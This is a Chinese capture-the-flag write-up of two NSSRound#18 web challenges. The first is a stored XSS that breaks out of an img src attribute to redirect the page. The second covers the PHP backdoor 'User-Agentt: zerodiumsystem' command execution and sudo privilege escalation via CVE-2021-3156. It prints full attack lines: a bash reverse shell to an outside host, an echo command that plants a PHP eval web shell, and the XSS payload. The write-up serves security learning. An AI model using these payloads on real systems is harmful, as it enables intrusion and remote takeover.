[NSSRound#18 Basic]web解析

时间:2024-03-18 19:54:47

文章目录

    • 门酱想玩什么呢?
    • Becomeroot


门酱想玩什么呢?

打开题目,加载完视频后要求我们给个游戏链接

在这里插入图片描述

点开评论区不难发现应该是想玩元梦之星,这里有个评论功能可以上传图片

在这里插入图片描述

我们随便输入点东西发现是插入并赋值到content元素里面

在这里插入图片描述

猜测是存储型xss,我们去看看hint访问下/nssctfroundSpring.php

<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
    if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
        $urlParts = parse_url($matches[0]);
        if ($urlParts !== false) {
            echo '<img class="content" src="' . $matches[0] . '">';
            //.......
        }
        //......
    }
    //......
} 

大概就是对评论的图片链接格式的过滤

我们要跳转到元梦之星用到location去跳转,最基础的payload

<script>document.location="https://ymzx.qq.com"</script>

在这里插入图片描述

然后按照上文的匹配条件修改一下以及闭合前面的<",最终构如下

http://"><script>document.location="https://ymzx.qq.com"</script>.png /png

在这里插入图片描述

成功跳转元梦之星

然后就是如何给门酱一个链接

在这里插入图片描述

也就是说需要门酱自己网站的链接去跳转,由于我们通过xss语句已经插入到img的src中实现跳转到元梦之星

所以我们只需要抓包跳转时的界面,就可以得到门酱跳转时的请求参数值

在这里插入图片描述

拼接上题目路径即可

http://node4.anna.nssctf.cn:28757/words/?title=cmV2MXZl&content=aHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWRvY3VtZW50LmxvY2F0aW9uJTNEJTIyaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyMiUzQyUyRnNjcmlwdCUzRS5wbmclMjAlMkZwbmc%3D

得到flag

在这里插入图片描述

Becomeroot

打开题目提示在/root里面,应该是最后要提权

在这里插入图片描述

按照提示和php开发仓库入侵有关,搜出来刚好是对应题目php版本,可以利用User-Agentt头来命令执行 参考文章

我们bp抓包,构造如下

User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'");

在这里插入图片描述

反弹成功,接下来尝试sh脚本提权发现不行

提示说和sudo提权有关,刚刚试了sudo -l -S是需要密码的所以肯定是存在提权漏洞

搜出来CVE-2021-3156

在这里插入图片描述

nc连接的靶机上传脚本比较麻烦,所以我们写马利用蚁剑上传

User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1]);?>'>/var/www/html/shell.php");

漏洞exp利用链接

上传成功

在这里插入图片描述

然后再nc连接,成功提权

在这里插入图片描述

得到flag

在这里插入图片描述